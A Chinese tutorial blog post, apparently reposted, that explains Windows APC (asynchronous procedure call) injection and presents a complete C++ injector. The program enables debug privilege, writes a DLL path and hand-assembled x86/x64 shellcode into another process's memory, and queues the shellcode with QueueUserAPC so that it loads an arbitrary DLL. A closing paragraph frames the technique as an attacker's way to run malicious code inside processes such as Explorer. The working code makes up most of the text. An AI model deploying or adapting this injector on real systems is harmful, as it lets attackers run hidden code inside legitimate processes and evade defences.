注入(2)--APC(Asynchronous Procedure Call)注入(异步过程调用)

APC(Asynchronous Procedure Call,异步过程调用)是在一个特定线程环境下被异步执行的函数,分为用户模式APC和内核模式APC。每个线程都有一个APC队列。在用户模式下,当线程调用SleepEx、WaitForSingleObjectEx等进入"Alterable WaitStatus"状态(可警告的等待状态)的时候,系统会遍历该进程的APC队列,然后按照先进先出的顺序来执行这些APC。

在用户模式下,微软提供了QueueUerAPC这个API来向一个线程插入APC。

声明如下:
WINBASEAPI
DWORD
WINAPI
QueueUserAPC(
    _In_ PAPCFUNC pfnAPC,
    _In_ HANDLE hThread,
    _In_ ULONG_PTR dwData
    );
pfnAPC:指向一个APC函数
hThread:将要插入APC的线程句柄
dwData:APC函数的参数

先右键项目,点击属性->链接器->系统->子系统 选择窗口(/SUBSYSTEM:Windows)
然后将_tmain()函数改为WinMain()函数

// LoadExe.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <iostream>
using namespace std;

typedef struct _UNICODE_STRING
{
	USHORT				Length;
	USHORT				MaximumLength;
	PWSTR					Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


typedef struct _INJECT_STRUCT {
	UINT_PTR               LdrLoadDllAddress;   //4
	UNICODE_STRING DllFullPath;   //4,4
	HANDLE                 OutHandle;
} INJECT_STRUCT, *PINJECT_STRUCT;

int GrantDebugPrivileges();
BOOL InjectByAPC(int ProcessID,int ThreadID,const char *szDllFullPath);
UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address);


int WINAPI WinMain(HINSTANCE  hInstance,HINSTANCE  hPrevInstance,LPSTR  lpCmdLine,int nCmdShow)
{
	int ProcessID = 0;
	int ThreadID = 0;

	if (__argc < 2)
	{
		return -1;
	}
	if (!strcmp(__argv[1], "Inject"))
	{

		GrantDebugPrivileges();
		ProcessID = atoi(__argv[2]);
		ThreadID = atoi(__argv[3]);
		return InjectByAPC(ProcessID, ThreadID, __argv[4]);
	}
	return 0;
}

int GrantDebugPrivileges()
{
	HANDLE TokenHandle = NULL;
	TOKEN_PRIVILEGES PrivilegesToken;
	LUID v1;
	int iRet;

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
	{
		return 0;
	}

	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &v1)) 
	{
		CloseHandle(TokenHandle);
		return 0;
	}
	PrivilegesToken.PrivilegeCount = 1;
	PrivilegesToken.Privileges[0].Luid = v1;
	PrivilegesToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	iRet = AdjustTokenPrivileges(TokenHandle, FALSE, &PrivilegesToken, sizeof(PrivilegesToken), NULL, NULL);
	CloseHandle(TokenHandle);

	return iRet;
}


BOOL InjectByAPC(int ProcessID,int ThreadID,const char *szDllFullPath)
{
	HANDLE ProcessHandle = NULL;
	HANDLE ThreadHandle = NULL;
	if (ProcessID <= 0 || ThreadID < 0)
	{
		return FALSE;
	}
	printf("Success\r\n");
	ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);    //打开系统所有进程
	if (ProcessHandle == NULL) 
	{
		return FALSE;
	}

	if (ThreadID > 0) 
	{
		ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);//打开所有线程
		if (ThreadHandle == NULL) 
		{
			CloseHandle(ProcessHandle);
			return FALSE;
		}
	}

	//注入都要在目标进程空间中申请内存  写入Dll的绝对路径
	UINT32 DllPathLength = 0;
	DllPathLength = (UINT32)strlen(szDllFullPath);
	WCHAR* wzDllFullPath = (WCHAR*)calloc(1, (DllPathLength + 1) * sizeof(WCHAR));   //在LoadEx进程空间中
	if (wzDllFullPath == NULL) 
	{

		return FALSE;
	}
	for (int i=0;i<DllPathLength;i++)
	{
		wzDllFullPath[i] = (UINT16)szDllFullPath[i];
	}

	//单字转换双字

	WCHAR* wzDllFullPathData = (WCHAR*)VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	if (wzDllFullPathData == NULL) 
	{
		free(wzDllFullPath);
		wzDllFullPath = NULL;
		return FALSE;
	}
	SIZE_T ReturnSize = 0;
	if (!WriteProcessMemory(ProcessHandle, wzDllFullPathData, wzDllFullPath, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), &ReturnSize)) 
	{

		free(wzDllFullPath);
		wzDllFullPath = NULL;

		return FALSE;
	}
	LPVOID LdrLoadDll;
	LdrLoadDll = GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");   //LadrloadDll导出地址

	INJECT_STRUCT InjectStruct = {0};

	InjectStruct.LdrLoadDllAddress = (UINT_PTR)LdrLoadDll;
	InjectStruct.DllFullPath.Buffer = wzDllFullPathData;
	InjectStruct.DllFullPath.Length = InjectStruct.DllFullPath.MaximumLength = (USHORT)(wcslen(wzDllFullPath) * sizeof(WCHAR));

	PINJECT_STRUCT InjectStructData = NULL;
	//注:VirtualAllocEx()函数是在别人的内存空间中申请内存
	InjectStructData = (PINJECT_STRUCT)VirtualAllocEx(ProcessHandle, NULL, sizeof(INJECT_STRUCT), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	if (InjectStructData == NULL)
	{
		free(wzDllFullPath);
		wzDllFullPath = NULL;

		return FALSE;
	}

	if (!WriteProcessMemory(ProcessHandle, InjectStructData, &InjectStruct, sizeof(INJECT_STRUCT), &ReturnSize))
	{
		free(wzDllFullPath);
		wzDllFullPath = NULL;

		return FALSE;
	}
	char szShellCode[64] = {0};
	UINT32  ShellCodeSize  = MakeShellCode((UINT8*)szShellCode, InjectStructData);

	CHAR* szShellCodeData = NULL;
	szShellCodeData =(CHAR*)VirtualAllocEx(ProcessHandle, NULL, ShellCodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (szShellCodeData == NULL) 
	{
		free(wzDllFullPath);
		wzDllFullPath = NULL;
		return FALSE;
	}

	if (!WriteProcessMemory(ProcessHandle, szShellCodeData, szShellCode, ShellCodeSize, &ReturnSize)) 
	{
		free(wzDllFullPath);
		wzDllFullPath = NULL;

		return FALSE;
	}

	if (ThreadHandle)
	{

		if(!QueueUserAPC((PAPCFUNC)szShellCodeData,ThreadHandle, (ULONG_PTR)InjectStructData))
		{
			free(wzDllFullPath);
			wzDllFullPath = NULL;
			return FALSE;
		}
	}

	free(wzDllFullPath);
	wzDllFullPath = NULL;
	return TRUE;
}

UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address)
{
#ifndef _WIN64
	ShellCodeData[0] = 0xb8;        // mov eax, InjectStructData
	memcpy(&ShellCodeData[1], &Address, sizeof(Address));
	ShellCodeData[5] = 0x53;		// push ebx                     //保存ebx
	ShellCodeData[6] = 0x8d;		// lea ebx, InjectStructData+offsetof(INJECT_STRUCT.OutHandle)
	ShellCodeData[7] = 0x58;
	ShellCodeData[8] = (UINT8)offsetof(INJECT_STRUCT, OutHandle);
	ShellCodeData[9] = 0x53;		// push ebx ; ModuleHandle arg
	ShellCodeData[10] = 0x8d;		// lea ebx, InjectStructData+offsetof(INJECT_STRUCT.DllFullPath)
	ShellCodeData[11] = 0x58;
	ShellCodeData[12] = (UINT8)offsetof(INJECT_STRUCT, DllFullPath);
	ShellCodeData[13] = 0x53;		// push ebx ; ModuleFileName arg
	ShellCodeData[14] = 0x6a;		// push 0 (flags arg)
	ShellCodeData[15] = 0x00;
	ShellCodeData[16] = 0x6a;		// push 0 (PathToFile arg)
	ShellCodeData[17] = 0x00;
	ShellCodeData[18] = 0x8b;		// mov ebx, InjectStructData+offsetof(INJECT_STRUCT.LdrLoadDllAddress)
	ShellCodeData[19] = 0x58;
	ShellCodeData[20] = (UCHAR)offsetof(INJECT_STRUCT, LdrLoadDllAddress);
	ShellCodeData[21] = 0xff;		// call ebx
	ShellCodeData[22] = 0xd3;
	ShellCodeData[23] = 0x5b;		// pop ebx
	ShellCodeData[24] = 0xc2;		// retn 0x4
	ShellCodeData[25] = 0x04;
	ShellCodeData[26] = 0x00;
	return 27;
#else
	ShellCodeData[0] = 0x53;		// push rbx
	ShellCodeData[1] = 0x48;		// sub rsp, 0x20
	ShellCodeData[2] = 0x83;
	ShellCodeData[3] = 0xec;
	ShellCodeData[4] = 0x20;
	ShellCodeData[5] = 0x48;		// mov rax, rcx (InjectStructData)
	ShellCodeData[6] = 0x8b;
	ShellCodeData[7] = 0xc1;
	ShellCodeData[8] = 0x48;		// lea rbx, Address+offsetof(INJECT_STRUCT.OutHandle)
	ShellCodeData[9] = 0x8d;
	ShellCodeData[10] = 0x58;
	ShellCodeData[11] = (UINT8)offsetof(INJECT_STRUCT, OutHandle);
	ShellCodeData[12] = 0x49;		// mov r9, rbx ; ModuleHandle arg
	ShellCodeData[13] = 0x89;
	ShellCodeData[14] = 0xd9;
	ShellCodeData[15] = 0x48;		// lea rbx, injstructaddr+offsetof(INJECT_STRUCT.DllFullPath)
	ShellCodeData[16] = 0x8d;
	ShellCodeData[17] = 0x58;
	ShellCodeData[18] = (UINT8)offsetof(INJECT_STRUCT, DllFullPath);
	ShellCodeData[19] = 0x49;		// mov r8, rbx ; ModuleFileName arg
	ShellCodeData[20] = 0x89;
	ShellCodeData[21] = 0xd8;
	ShellCodeData[22] = 0x48;		// xor rdx, rdx ; Flags arg    
	ShellCodeData[23] = 0x31;
	ShellCodeData[24] = 0xd2;
	ShellCodeData[25] = 0x48;					// xor rcx, rcx ; PathToFile arg
	ShellCodeData[26] = 0x31;
	ShellCodeData[27] = 0xd1;
	ShellCodeData[28] = 0x48;					// mov rbx, Address+offsetof(INJECT_STRUCT.LdrLoadDllAddress)
	ShellCodeData[29] = 0x8b; 
	ShellCodeData[30] = 0x58;
	ShellCodeData[31] = (UINT8)offsetof(INJECT_STRUCT, LdrLoadDllAddress);
	ShellCodeData[32] = 0xff;					// call rbx
	ShellCodeData[33] = 0xd3;
	ShellCodeData[34] = 0x48;					// add rsp, 0x20
	ShellCodeData[35] = 0x83;
	ShellCodeData[36] = 0xc4;
	ShellCodeData[37] = 0x20; 
	ShellCodeData[38] = 0x5b;					// pop rbx
	ShellCodeData[39] = 0xc3;					// ret
	return 40;
#endif
}

 

转载于:https://www.cnblogs.com/Toring/p/6628284.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Windows APCAsynchronous Procedure Call)注入是一种常见的注入技术,它利用了 Windows 操作系统中的异步过程调用机制来实现注入。具体原理如下: 1. 创建目标进程 首先,攻击者需要创建一个目标进程,该进程将作为注入目标。一般情况下,攻击者会选择一个易受攻击的进程,例如 Windows Explorer。 2. 分配内存空间 攻击者需要在目标进程中分配一块内存空间,用于存放要注入的代码。可以使用 VirtualAllocEx 等函数来实现。 3. 编写注入代码 接下来,攻击者需要编写注入代码,并将其写入到之前分配的内存空间中。注入代码通常是一个 DLL 文件,其中包含了攻击者想要执行的恶意代码。同时,在注入代码中还需要将恶意代码的入口点指向一个 APC 回调函数。 4. 调用 QueueUserAPC 函数 接下来,攻击者需要在目标进程中的某个线程上调用 QueueUserAPC 函数,并将之前分配的内存空间中的 APC 回调函数作为参数。这样,当目标进程的线程下一次进入 Alertable 状态时,它将执行注入代码中的 APC 回调函数。 5. 触发注入 最后,攻击者需要触发目标进程中的线程进入 Alertable 状态。可以使用 Sleep、WaitForSingleObject 等函数来实现。 总之,APC 注入技术是一种高级的注入技术,攻击者可以通过它将恶意代码注入到目标进程中,并在其中执行。然而,这种技术也有一定的局限性,例如无法注入到特权级较高的进程中。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值